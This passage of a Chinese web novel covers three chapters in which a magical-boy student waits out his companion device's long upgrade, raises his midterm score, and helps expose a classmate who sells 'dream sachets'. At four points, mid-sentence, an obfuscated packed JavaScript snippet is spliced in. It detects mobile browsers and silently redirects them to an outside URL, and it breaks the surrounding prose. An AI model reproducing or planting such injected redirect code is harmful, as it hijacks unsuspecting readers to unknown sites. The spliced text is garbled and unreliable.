深吸一口气,他双手撑着床沿,双脚向下用力,含泪坚强地站了起来,一路用手撑着床头柜、书柜和椅子,成功来到了桌子前。 只是在想要拉开抽屉的时候,他的脊椎比钢板还硬,根本弯不下去,最后他只好扶着桌子,用脚将抽屉勾了出来。 还好抽屉打开后他就不用再受累了,不用弯腰也不用下蹲,那五颗大小差异极大的种子,自己就乖乖从里面飘了出来,静静浮在空中,围成一个小圈。 “矢车菊、圆叶风铃草、茉莉、康乃馨、绣球……” 他嘴里轻声念着这些种子的名字,每念一个,相应的种子就飞进丧丧的屏幕中。 待到五颗种子都被吸收后,丧丧终于关上了闹腾的“呼吸模式”,只维持了最低亮度。 看了眼屏幕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393771|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就见上面的内容已经变了。 【bug已修复,功能升级中。】 罗乐安原以为第二天一早升级就能结束,却没想到过了一夜,自己都生龙活虎可以吃温朗留给他的蛋糕了,丧丧的屏幕却还是只有那一行字。 想起和它初遇时等的那五天,他虽然有些郁闷,倒也没什么太多反应。 直到七天之后,他都复课小一周了,丧丧还处在升级状态,他彻底暴躁了。 “你到底还要升级多久啊!” 上了一周课的罗乐安极为暴躁,抄起丧丧直接扔进自己床头的帕恰狗玩偶堆里,仗着胡女士没在家,敞开了发飙。 “你这天天断线,要是有植物在这个时候变成谵蘖,我又不能变身,那可怎么办啊!怎么办!怎么办!!怎么办啊你说!!!” 一边吼,一边用枕头哐哐砸。 到最后也不知道是不是“暴力”起了作用,丧丧的屏幕上终于显示出了别的消息。 【升级时间预计还剩1113.6小时,请耐心等待。】 看到这行字,罗乐安慢动作眨了眨眼,一度以为自己眼花。 “你……是不是点错小数点位置了?我跟你讲哦,一百一十一点三六小时,小数点是要点在‘一’和‘三’之间的,你快改一下。” 丧丧没理他的自欺欺人,只是自顾自地又更新了一条信息。 【升级期间可以正常变身和净化,但无法使用元素箭,请多加小心,记得多用脑子。】 罗乐安:“……” 他这是,被骂了吗? “我[哔——]你[哔——]是不是有那个[哔——]的大病!” 最后止住他发飙的,是隔壁听到他的动静,误以为是孩子学习学疯了的温朗。 “我没事。” 看着马上就要从阳台栅栏翻过来的温朗,罗乐安吸了吸鼻子,恢复了平静,“我就是发泄一下,已经好了。” “……好了就好。” 温朗将栏杆上的腿放下,换成双手搭在上面,整个人倚靠在栏杆上,脸上的表情一改刚刚的焦急,变得从容了许多。 “是太累了吗?要不要先休息半天,下午再一起写作业?” 他的建议无疑是很贴心的,按照以往的剧情发展,罗乐安也肯定会是一口答应,然而令他没想到的是,对方竟然回绝了。 并且没有一丝迟疑。 这反而让温朗真的感觉有点慌了。 “乐乐……你怎么了?” 累出幻觉了? “我很好。” 罗乐安将书包背上,面色平静地翻过栏杆,“我就是刚做了个决定。” “什么决定?” “我要努力锻炼我的脑子。” “……” 这话让温朗难得出现一脑袋的问号,只是还没等他问清楚,身前毛茸茸的后脑勺就转身一变,成了罗乐安严肃认真的娃娃脸。 “阿朗,你前几天说,之前那个约定放到期中考试也可以的,是吧?” “……对。” “那如果我在期中考试的时候把成绩提升到五百五以上……” “奖励翻倍。” “成交!” 果然只有钱和事(学)业才能抚慰他受伤的心灵。 丧丧,你等着! 待你苏醒之日,就是他蜕变之时!! 等着惊掉下巴吧,他的傻*精灵!!! 44. BUCHU② 时光如水,生命如梭。 一转眼,期中考试来了。 再一转眼,期中考试又走了。 温朗原以为罗乐安之前的话就只是嘴上说说,坚持不了多久,却没想到对方竟然真的说到做到,一个半月的时间里,每天都给自己发精选错题,认真求教,休息日更是主动一大早就过来,从早学到晚,没有一丝一毫的懈怠。 要不是太多细节——特别是两根呆毛属性——没变,他都要怀疑自己可爱的小竹马是不是被什么脏东西上身了。 唔,当然,没有说“热爱学习”这事儿脏的意思。 罗乐安本人其实也没想到,原本这段他自认为极其难熬的时间,竟然过得那么快,虽不至于一眨眼,但也最多不超过三眼,四五十天就过去了。 在这段时间里,他的生活就像是恢复到了暑假之前的状态。 平淡,无趣,一成不变。 不过也没有说完全一模一样,毕竟暑假前的他,生命里就没有“认真学习”这四个字,当然了,也没有时不时就会冒出来的怪物。 这一个半月基本上还算是太平,只遇到过两次谵蘖。 一次是图书馆附近公园里的三色堇,还有一次是小区里有人养的耧斗菜,都不是什么攻击力太强的品种,即便没有元素箭,凭着一剑一盾,自己也可以一样轻松制服。 也因此,他感觉生活实在是…… 太过无趣了。 毕竟以前就算学业忙碌,每天好歹还有喘口气的机会,以及和任穗她们插科打诨的环节。 可这些天,只要他稍微产生了点松懈的心思,脑海里就会不停闪回丧丧的那句话。 【记得多用脑子。】 【多用脑子。】 【脑子。】 呸! 总而言之,愤怒可以让他重燃斗志,而他也正是靠这种间歇性打鸡血的模式,屏蔽掉了一大部分的痛苦,才终于成功熬过这段孤独且又令人抓狂的时光。 不过这一切,到今天就结束了! 罗乐安搬着自己的课桌转了半圈,将因为考试而搬走的书本卷子习题册以及其他七七八八的东西,重新一股脑塞回到桌子里。 与此同时,他的心里,那干涸了许久的中二与澎湃,也重新涌动了出来。 不怪他如此兴奋,主要是考试成绩出来了——562分。 这是高二分科之后,他取得过的最好成绩,换句话说,他创造了历史。而且可以说是超额完成了任务。 但让他开心雀跃的不止是超额完成了任务这一件事,更关键的,是下午的家长会。 不是他吹,这可能是胡女士这辈子第一次在家长会这种场合,听到老师夸她的好大儿,也就是他,罗乐安。 一想到马上就能见证如此激动人心的名场面诞生,此时此刻,好大儿本人非常想要高歌一曲。 可他还是死死地把嘴巴闭上,并同时强忍笑意。 要低调。 这样才不会乐极生悲。 只是他的快乐实在是很难掩饰,过于灵活又灵动的脸部肌肉,吓坏了周围的同学,只除了一个人。 任穗露出了极其欣慰的笑容。 不对,更准确来说,是努力想要演出“喜极而泣”的扭曲表情。 “小月……”她激动地攀住常映月的手臂,“老罗终于恢复原样了!” 说着,她甚至还装模作样地伸手擦了擦向未来预支的眼泪,“我提心吊胆了一个多月,他终于正常了!果然是我昨天烧的高香起作用了!” 常映月一向没什么表情的脸,因为任穗虚情中掺着真意的表演,少有地出现了一丝裂痕。 “……其实,也没有这么夸张。” “一点都不夸张好吗?!” 任穗仰起脸,眼神复杂,除了激动和感动之外,还有一种名为“道心破碎”的东西。 “你看看他每天往群里发的都是什么!《学生党必看:如何用费曼学习法,1小时记住别人1天的内容》《99%的人都用错了笔记法!学霸的子弹笔记术,让你的知识不再沉睡》《985学霸亲授:高考最后100天,如何逆袭提分100+》——他该不会……是被哪个加班猝死的学习营销号小编附身了吧?一定是的!所以整个人才会像是被腌入味儿了一样!你别看他现在好像恢复了,说不定晚上就又被夺舍了!不行!这事儿得找专业人士来解决!” “……” 一把按住准备打电话给家里认识的大仙儿咨询的任穗,常映月开口,难得说了一串长句子。 “穗穗,虽然那些营销号的东西不可信,但是乐乐营造的学习氛围还是挺好的,你看你这次成绩进步也很大,数学上了八十分,总分也突破了四百五,任爷爷知道了一定很开心。” 听到这话,炸毛的任穗想到自己爷爷在听完孙叔叔的汇报后会有多高兴,也稍稍冷静了一些。 “有道理,但是……” 转折的担心还没有得到表露的机会,当事人就亲自过来打断了她们好姐妹的悄悄话。 “收拾好了没?走啊,吃饭去,听说今天食堂有做溜肉段诶,去晚了可就没有了~” 看着罗乐安脸上洋溢着的发自肺腑的幸福笑容,任穗拉着常映月凑了过去,准备在路上由浅入深,先悄悄打听一下情况。 “乐乐……” “嗯?” “溜肉段而已,至于这么高兴吗?食堂阿姨的打饭水平你又不是不知道,买回去里面能有三四块肉就烧高香了。” “没——事儿~” 罗乐安大手一挥,语气轻狂,“实在不行我就打个三份,总能凑出十块肉!十全十美,诶嘿嘿~” 如此豪横的做派,让常映月都觉察出不对了。 “乐乐,你怎么突然这么……大方?” “嘿嘿嘿~” 听到她的问题,罗乐安没有回答,而是先傻乎乎地笑了好久,而后才语言功能混乱地跟她解释。 “有钱啦!你知道吗?脱贫致富了,我终于!值得庆祝,非常!” 两个女生对视了一眼,已经不知道该作什么反应了。 就……罗乐安的反应,好像正常,又好像不正常。 想到对方这次的期中成绩,任穗和常映月脑袋里不约而同地生出一个念头。 难不成,范进中举了? 最后,直到她们到了食堂,碰到了提前去占位的温朗,才拿到了正确答案。 “怎么高兴成这样?” 看着罗乐安餐盘里堆得高高的溜肉段,温朗有些哭笑不得。 “因为考得好,还是因为要过生日了?” 要不还是打小一起长大的竹马,更懂“范乐安”的心思,一猜就中。 没错,让某个人高兴到差点变形的原因,除了学业进步,还有即将到来的18岁生日。 双喜临门,不开心都对不起他自个儿。 他这边眼睛满月变新月,那边任穗的眼睛则是直接上演“月球爆炸”。 生日? 一听到这俩字儿,她的头下意识转到一边,以此掩盖自己扭曲成《呐喊》一样的脸。 急忙从校服内侧的隐形小口袋里掏出偷藏的手机,任穗确认了一下日期。 11 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415208|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月26日,没错,明天的确是罗乐安的生日。 而自己作为对方最(重音)要好的朋友,竟然把这么重要的日子,彻!底!忘!了! 一定是她最近也太过热爱学习了,才导致出现如此纰漏,可就算理由正当,依旧改变不了一个事实。 她是千古罪臣! OHNO!!! 还好明天才是生日,还有时间,她现在就下单罗乐安最想要却又舍不得买的那张游戏卡带,让同城闪送马上送过来,放学前绝对能拿到。 等到她搞定一切,重新坐直身子,就看见对面的常映月,也在这时把脑袋从桌子侧面挪回来。 闺蜜俩对视了一眼,双双在对方眼中看到了相同的一句话。 幸好罗乐安的生日,是明天。 不过当下她们更庆幸的,是生日主角的注意力一直没放在她俩身上,而是还在专心跟温朗聊天,这让任穗第一次对“重色轻友”这个词,有了更加辩证的认识。 福兮祸之所倚啊! 罗乐安其实也瞥见了任穗和常映月的小动作,但是他本来也不是因为一个18岁生日礼物就跟朋友斤斤计较的性格,便也假装没看见,避免尴尬。 反正她们一定也在努力补救了,那么就算要生气,也还是等到生日当天才更名正言顺。 “你今年给我准备了什么礼物呀?绝对不可以发红包敷衍我哦!” 唔,对朋友要维持表面的宽容,可对竹马,那就是另外的待遇了。 “别把我跟温小葵相提并论啊。”温朗笑笑,一边给罗乐安递筷子。 “放心,绝对合你心意,今晚零点准时送到你床头。” “床头就不必了,”罗乐安夹了一块肉塞进嘴里,一边笑一边道,“又不是圣诞节,你也不是圣诞老人,大半夜站我床头,多渗人啊,一定会做噩梦的。” 说到这里他顿了一下,看了眼温朗的脸,又继续道:“就算是你这张帅脸也不行。” 温朗被这个形容逗笑了,而一旁的任穗和常映月也在这个时候搞定了礼物的事,就着罗乐安的话顺势加入了聊天。 “如果温朗真半夜给你床头送礼物,那就不是圣诞老人了,是圣诞帅哥,对吧,小月?” “……嗯。” “对了,说起噩梦,你们听说了没?隔壁班那个总是神叨叨的男生,这两天一直在跟人安利他的‘美梦香囊’。” “美梦香囊?” 罗乐安吞下嘴里的西蓝花,探了脑袋过去加入话题。 “可以让人做美梦的香囊吗?” “那个男生是这么说啦,”任穗从罗乐安的餐盘里夹了块肉,说道,“还说自己就是因为用了这个香囊,这几天每天都做美梦,睡眠特别好,所以期中考试才取得了特别大的进步。” “真的假的啊?” 这声质疑,来自于某个和玄学领域最贴近的魔法少男。 他可以变身,可以施法,可以打怪兽。 只是在经历过汐语市那个不靠谱的占卜屋后,他对塔罗啊、星座啊、护身符啊这些太过花哨的东西,开始产生了些许的不信任感。 “大概有夸大的成分吧,毕竟做美梦和睡眠质量并没有什么直接关系。” 温朗也加入到聊天里,同时将一碗番茄汤放到罗乐安面前,上面还飘着两个小肉丸,“喝口汤。” 罗乐安听话地端起碗,正要喝,就听到一个声音在头顶响起。 “朗哥,你这话说的就不对了。” 他维持着喝汤的姿势,眼睛用力向上翻,就见一张容光焕发的大脸,就这么冲进了自己的视线。 45. BUCHU③ 来人正是刚刚讨论话题里的当事人,隔壁15班的英语课代表,姓崔,同时也是整个年级公认的“大神”。 神神叨叨的那个“神”。 此人最大的爱好,就是抽卡算命,求神拜佛。 而且古、今、中、外,只要是跟玄学沾边的东西,来者不拒。 也因为他这个“爱好”在学生之中太过出名,所以每次年级里有同学遇到一些难以抉择,或者是不便向大人言说的事情,都会抱着“宁可信其有”的心理,偷偷找他抽个卡,再用一杯奶茶换一个护身符之类的东西。 然而,对方的本事,的确也只有“宁可信其有”的程度。 其实这个人并没有系统接触过这方面的知识,一切操作和理论都来源于网络——以及臆想——也因此在准确率方面,一直是一言难尽。 可是并没有太多人在乎。 毕竟就算大家是十几岁的中二年纪,却也都还是受过九年科学义务教育的,知道真正的问题不会只靠一张卡或是一个劣质护身符就能解决,因而过来找崔大神,更多是出于一种虚荣的中二心理。 这种心理过了这个年龄就会很难理解,不过当下深处其中的人,大部分都逃不过。 不过中二病顶格的“岁常乐”组合,却从没跟他打过交道。 因为中二病不影响正义感,三人组对于这种坑蒙还有骗的行为十分不齿,跟对方是属于平时在走廊碰见,都不会打招呼的那种纯纯“路过不相识”的路人关系。 只是仅靠三个人的抵制,并不会给崔大神的生意带来多少负面影响,人家还是可以做到平均一周喝四杯免费奶茶。 当然,如此巨大的能量摄入,终究会反噬。 崔大神那张越来越宽、越来越肉,同时也越来越令人嫌恶的胖脸,就是最直接的体现。 温朗对这些事并不感兴趣,可对方大小也是年级里的名人,他当了一年的学生会主席,自然不会毫无所闻。 “崔奇峰?” “哎呦~” 崔大神一屁股坐在温朗旁边那张桌子的空位上,语气熟稔,比罗乐安还要自来熟。 “朗哥还竟然认识我呢,真是我的荣幸啊!” 话里话外充满着阴阳怪气。 这话要是对着罗乐安说的,他顶多收餐走人,懒得跟这人计较。 只是对方针对的是好脾气的温朗,那他就不能忍了。 “哟!崔大神前一阵子在语文组多出名啊,阿朗又不耳聋眼瞎,随便去帮哪个老师批卷子,都能知道你的‘丰功伟绩’,而且还是多视角哒~” 大概半个月前,15班某节语文课上,在一次随堂测试中,崔奇峰被语文老师抓到作弊,人赃并获的那种。 原本也不是什么大事儿,毕竟也就是一个默写小测,在高考语文里占不了太多分,所以但凡这人好好道个歉,这事儿就算完了——消息甚至都出不去前后两排座位。 但是这家伙的脑回路实在是过于清奇,不仅拒不认罪,而且理由格外离谱,说什么自己不是主动作弊,那张小抄原本只是空白的演草纸,是神迹降临,在自己想不起答案的时候,纸上突然浮现了字。 然后,这哥们儿就全方位出名了。 原本还只是在西校区学生群里中小心传播的(一言难尽的)名声,彻底在另一个赛道享誉整个年级——甚至还有要蔓延到东校区的趋势。 十几天过去了,这桩奇(丑)闻本来都快被人淡忘了,结果罗乐安这个时候又嚷嚷出来,崔奇峰的脸色着实变得难看,态度也跟着急转直下,装都不装了。 “罗乐安你得意什么?听说你这次进步很大啊,该不会是作弊抄来的吧?” 一听这话,罗乐安脸上贱兮兮的笑容瞬间凝滞,一向面目可亲的娃娃脸变得面目可憎。 要知道,这次的考试成绩,是他付出了极大的辛勤和汗水才得到的,其中凝结着他很多的痛苦的泪水和对自由的渴望,现如今却被一个喜欢装神弄鬼、道德低下的玩意儿诬陷说是作弊…… 他不是打工牛马,没那么能忍,当即就要爆发。 谁料却被温朗一把按下。 “听说崔同学这次考试进步也很大啊?” 温学霸成功掐住了崔奇峰的“出气管”,对方一听这话,瞬间换了张油腻可亲的表情。 “朗哥这也知道?” “有所耳闻,从一百多名空降到年级前五十,实力非凡。” 温朗一边面不改色地捧着,一边不动声色地捏了捏罗乐安的脸,让他别再插话,淡定一些。 得到他暗示的某个炸毛怪也终于停止了挣扎,没有再拼命扒开盖在他脸上的那只手,而是透过开得恰到好处的指缝,默默旁观学习高智商的人如何坑人。 崔奇峰没注意到他俩的小动作,他此刻正深陷在年级第一、甚至是全市第一的夸夸里,下巴都要扬上天了。 “哪里哪里,比不上朗哥——主要,还是因为我晚上睡得好,这样白天才更有精力,学习自然也就更有效率了。” “这样啊。” 听到他主动把话题拐回来,温朗扬起一个满意的笑容。 “是那个‘美梦香囊’的作用吗?真那么神奇啊!” 罗乐安被自己竹马那演技生硬的重音逗得忍俊不禁,忍笑忍得腮帮子都鼓起来了。 不过崔奇峰并没有觉察到其中的不自然,他已经因为温朗的吹捧,飘到不知天地为何物了。 “对啊对啊,就是那个香囊,里面有我爸特意从国外买回来的神秘香料,非常珍贵稀有的,所以香囊的数量也很有限。” “……w、哇!”温朗学着罗乐安以往的反应,不太熟练地高声感叹道,“多少钱?可以卖我一个吗?我最近刚好睡眠不太好。” “哎呦,朗哥有需求,开口就是给我面子,怎么还用得着钱呢?我直接送你一个就好了!刚好我带着一个全新的,你拿好!” “那……多不好意思。” “哎呀!不用不好意思,你之后帮我多多宣传就好~” “可我心里过意不去啊。” “朗哥你要实在过意不去,那请我杯奶茶吧,意思意思就行。” “这样啊,我这杯芋泥奶绿还没动,你要是不介意……” “不介意不介意……咳,既然朗哥你这么客气,那我就收下了,谢谢啊!” “我谢谢你才对。” “哎呦~甭客气,以后有需求还可以找我——我先走了,拜拜~” “慢走。” 目送崔大神离开后,温朗叹了口气,收起嘴角僵硬的笑容,转头就看到已经挤成一团的“岁常乐”,正目光灼灼地盯着自己……手里的那个绿色香囊。 “这么好奇?” 他将手里的香囊随手扔到桌上,抽了张湿巾擦了擦手,而后拿起筷子继续吃午饭。 但其他三人此刻却完全没有心思吃东西,一直盯着那个香囊。 盯了一分钟后,罗乐安伸手将香囊拿了起来。 “阿朗,你刚刚让我别说话,我还以为你是想替我骂回去呢!结果……你怎么会想要这种玩意儿啊?你真需要?不对,重点是你真信啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426218|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我肯定是不需要的,当然更不会信。”温朗喝了口汤,回道,“只不过我觉得你们几个对这个很好奇,所以借口拿来看看。” “好奇是好奇啦,可你也不用主动要啊,太跌份了!” 罗乐安忿忿不平,然后将香囊打开,就见里面装着几朵薰衣草、洋甘菊,其他就是一些不认识的细碎的小叶子,都是烘干状态的,看着东西不少,却轻飘飘的。 “这都什么玩意儿?不会有什么有害的香料吧?” “说不准哦!” 任穗举着一根烤肠也凑了上去,“崔大神那种人,肯定不会用什么好东西。” “对,他还曾经用一张从1688批发来的书签,坑过我两块草莓蛋糕,这种辣鸡,怎么可能舍的用好东西!” “没戳没戳,他这次一定也……熊哲?你怎么过来了?” 看着突然出现在自己身旁座位上的大块头,吓了一跳的任穗猛地向后靠,差点撞到温朗。 “我来吃饭啊!午饭时间不来食堂还能去哪儿?打饭等了好久,真是饿死我了!” “唔……”罗乐安伸长脖子探出脑袋看了下,而后敬佩地张大嘴巴。 “ssss……三盘盖饭?!emmm……看得出来,你是真的很饿了……啊啊啊不对!重点不是这个——你之前不是说你不信这些的吗?怎么还会找那个崔大神要东西啊?” 任穗:“对啊对啊!你不是很鄙视吗?” 熊哲“……咳,谁年轻的时候没犯过点错误呢,对吧?” 罗乐安:“说人话。” 熊哲:“就是因为被坑过所以才不信的啊!” 任穗:“……同情你。” 罗乐安“……为你默哀。” 熊哲“……我又没死!” 餐桌这半区吵吵嚷嚷,另外半区就安静多了。 温朗和常映月一言不发,只是非常有效率地进餐,当吵闹的半区结束了无营养的对话时,这俩人也刚好用完了午餐。 “你是准备把这个当证据上交吗?” 常映月掏出纸巾擦了擦嘴,问道。 听到她的话,一旁三个幼稚鬼齐齐转头,目光如炬。 “证据?” “上交?” “钓鱼执法?” “噗……”温朗被逗笑了,“对,的确算是钓鱼执法。刚刚是他主动提出用奶茶交换的,我也没强迫他。把这个给韩主任说明一下情况,估计这人能消停一阵子。” “会记过吗?” “大概不会,毕竟也没涉及到金钱交易,顶多警告一下,严重一些的话,找家长——但对他这么虚荣的人,这样足够了,可能会萎靡一阵子。” “唔……” 罗乐安挠了挠脸,嘴角上扬,“一阵子也够了,至少他这个被老韩头狠狠教训的落魄结局,我很是喜欢~” 经过这个插曲,虽然几个人的兴致没被打扰,可午饭时间客观上却还是被拉长,午休时间则要相应缩短。 好在下午头两节课是自习,之后就是家长会了,并不难熬。 几个人陆续出了食堂,罗乐安缀在后边打呵欠,温朗则先他们几人一步,跑到一边的商店里给他买咖啡。 而就在他慢悠悠迈着步子,一边走一边等人的时候,突然觉得校服右侧传来一股火热的灼烧感,以为是偷藏的手机要爆炸了,吓得他一激灵。 不过恐惧让人清醒,罗乐安刚还混沌的脑子,经过这么一吓,已然清醒,很快就反应过来发烫的东西是什么。 丧丧。 46. BUCHU④ 罗乐安在谴责自己。 深刻谴责。 作为一个魔法少男,他竟然因为沉迷学习,而把自己的变身精灵给忘了。 这说出去,他不得被一二三所有次元加起来的全部魔法使,嘲笑到死啊! 其实倒也没一直忘,一开始他还天天惦记,后来因为时间实在是太——长了,倒计时算着算着就算不清了,加上期中考试前的复习节奏加快,导致他总得过个两三天才能想起自己还有个马甲这件事儿。 好在丧丧和变身器他一直随身带着,所以在那两次遇到谵蘖的时候,才并没有耽误什么。 而这次他也没忘太久,就是考试这两天没顾上,而今天又因为成绩出来太兴奋,因此才没及时检查。 突然发烫,难道是谵蘖又出现了吗? 可罗乐安在环顾了一圈后,却并没有发现什么异样和骚动,不过这个时候,他倒是想起了一件事。 考试前他看过一次丧丧,当时倒计时终于进入72小时,因此按日子来说——难道是升级终于完成了吗?! 他颤抖着手,从兜里把丧丧掏出来,期间因为太过激动,还差点把自己的棉袄拉链给扯坏了。 只是罗乐安沸腾的心海,在看到丧丧屏幕上显示的信息后,重新落回到了冰点。 【升级时间预计还剩3小时,请耐心等待。】 “……” 行叭。 是他愚蠢了。 就不该对这个坑货精灵抱有太大希望。 不过这姑且也算是个好消息。 还有不到三个小时,大概都不用等到家长会结束,自己就能知道丧丧的新功能到底是什么了,同时期中考试也结束了,金钱和成绩双丰收,他也就不用再继续苦苦维持好学人设了。 爱与正义的美少男魔法使·L-RAether,即将重出江湖! 哦吼吼吼~~~ 温朗拎着咖啡从商店出来的时候,看见的就是罗乐安双臂高举,张牙舞爪的样子。 先是在头顶摆出十字,然后突然下划至胸前,接着右手在虚空中扭了几下手腕,左手掌心向上,右手落于其上,两手拉开,摆出了一个弯弓射箭的姿势。 最后在瞄准的时候,对方似乎终于发现了自己,圆圆的脸上露出了尴尬而又震惊的表情,眼角和呆毛都在抽搐。 “……” 罗乐安沉默,一直保持着拉弓的姿势。 他倒是想放下胳膊,奈何氛围胶着,让他不敢乱动。 半分钟后,对面的温朗率先迈开步子向自己走来,凝滞被打破,他立马放下手臂,心虚地吐了口气。 “你在干嘛?” 温朗走到罗乐安身边,轻轻拨开趴在对方脸上、似乎是想要帮主人挡脸的大毛和二毛。 “咳咳!”罗乐安闻言,猛地惊醒,忙后退半步,甩了甩脑袋,让软塌塌的呆毛重新支棱起来。 “就……刚觉得有点冷,活动活动,哈哈哈,活动活动,嗯嗯,果然暖和多了。” 听到他的回答,温朗努力绷了绷嘴角,最后还是没绷住,伸手揉了揉眉心,无奈笑了一下,同时伸出手,将罗乐安拉到一半的棉袄拉链,重新拉回到了脖子下面。 “如果冷的话,我建议还是优先检查衣服有没有穿好。” 罗乐安:“……” 啊。 更尴尬了。 又是长达半分钟的沉默。 这一次打破胶着的,是已经快要走到教学楼门口、等得不耐烦的任穗。 “我说你们两个——冷风那么好吹吗——为什么一定要在风口cos蜡像啊——这是什么新的流行吗啊啊啊啊——” “没没没没没!我我我们马上就过去!” 一边结巴式地应答,罗乐安一边推着温朗往回走。 后者对于这种“推背服务”并没有什么异议,甚至还能惬意地关心一下身后“发动机”的运行情况。 “看不见路没关系吗?需要我为你导航一下吗?” “你少啰嗦啦,个子高了不起啊!” 由于一些先天差异,罗乐安敏感的心自动捕捉到了一些关键词,并展开联想。 “再啰嗦我就跟你……” 话说到一半,“绝交”两个字都已经在舌尖准备好了,他却突然止住了声音。 这个停顿很突兀,温朗立马就注意到了,而且身后传来的“推背感”也戛然而止,这让他不禁有些担心。 “乐乐?你怎么了?是又崴脚了吗?” 说着,就要转身查看情况。 “……没事!” 罗乐安回过神,立马重新启动,推着人继续往前走,“刚刚眼花了一下——别管那么多啦,再不过去老穗就要杀过来了!” 他继续着自己的“推背服务”,心里却还想着刚刚的“眼花”。 刚才经过的拐角能看到东西校区中间的那条小路,他匆匆一瞥时,正好瞧见路边停着一辆风格非常花俏的“痛车”,并且这里的“花”不是虚指,而是真实情况就是如此,所有装饰都是花草,有平面的,也有立体的。 这种极繁主义的风格,加上那些花花草草,让罗乐安莫名想到了一个人。 花星巡宙园艺馆馆长,桑榆竹。 可是园艺馆距离湖灵高中足足有十公里远,正常是不会接这么远距离的外送单的。 不过就算对方真的是来送货的,好像也不是什么大事,并不需要上心。 罗乐安没有把这件事放在心上,他现在满脑子都只有三件喜事。 钱,夸奖,以及拯救世界。 罗乐安的嘴角,随着脑袋里这三件喜事盘旋的速度不断加快,上扬的角度也愈发陡直,搭配时不时就响起的“咦嘻嘻”的诡异笑声,把他同桌吓得够呛。 要不是后者知道他俩做的卷子一样,他都以为前者的试卷难度降低到小学三年级的程度,不然也不至于笑成这德性。 好在,就在可怜的同桌再也忍受不住,想要打声招呼调换座位的时候,班主任余老师踏着下课铃声走进教室,拯救了他岌岌可危的san值。 一般开家长会的时候,学生们都提前放学回家。 要是放在以前,罗乐安一定是在冲出校门的第一梯队里,只是今天,和短暂的自由相比,他更想第一时间收到夸奖。 而且今晚自己跟温朗两家人还要一起出去吃饭,这样既能给他庆祝18岁的重要生日,又不会不耽误他明天可以尽情自由玩耍的宝贵时间。 所以,综合以上两点原因,在家长会开始后,罗乐安并没有立即离校,而是在温朗学霸特权光环的笼罩中,优哉游哉地在校园里晃荡。 而且还是在年级主任老韩头的眼皮底下。 不过一向看不惯罗乐安如此松(贱)弛(萌)做派的韩老师,这次并没有对他横鼻子竖眼。 并且这还不是看在温朗面子上的忍气吞声,纯粹是没工夫搭理眼前这个小屁孩。 看着对方急匆匆离开的背影,罗乐安一头雾水,连哈欠都不记得打了,手动合上自己大张的嘴巴后,他扭头跟温朗吐槽。 “老韩头这么着急去教学楼干嘛?他不至于连家长会的时候,也要在走廊巡逻吧?他是敬业啊,还是真有病啊?” 温朗闻言,轻轻拍了一下他的后脑勺。 “别胡说。” “我哪有胡说嘛~真的很奇怪啊,他又不用去开家长会,干嘛那么着急去教学楼嘛。” “因为教学楼现在有一级问题学生在啊。” “谁啊?” “崔奇峰。” 哇↗哦↓ 罗乐安豁然开朗。 “看来你的钓鱼执法有成果了呀~” “嘘——在外面还是要低调些。” “我懂我懂,不能给好学生形象抹黑~这我熟,你看我纵横校园十余载,所有的错都是一人做事一人当,从来没给你扣过锅,多仗义啊~” “……” 温朗脸上的笑容,因为罗乐安的话不自觉地出现了一瞬间的僵硬。 看来对方真的不知道,所有的岁月静好,都是因为有人在帮他收拾尾巴啊。 不过他“负重前行”已经十几年了,也没必要这种时候跳出来,还是继续当新时代雷锋好了。 但是也可以考虑写进日记里。 再让某个小傻瓜不经意间发现。 一边跟着罗乐安继续无目的的漫步校园,温朗一边在心里默默盘算着一些不为人知的“阴暗”小心思,难得有些走神。 因此等到他由于一股寒风而回神时,震惊地发现,身旁的人不见了。 在距离自己大概一百米开外的地方,正跟任穗和常映月,隔着高高的栏杆上演泪眼婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441459|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娑的“久别重逢”戏码。 他连忙迈开步子朝那几个人走去。 “大冷天的,在这儿演‘铁窗泪’是打算给西北风看吗?” 罗乐安闻言,上去就给了他后脑勺一个动作大力度小的逼兜。 “哎呀~大喜的日子说什么呢,快‘呸’三下!” 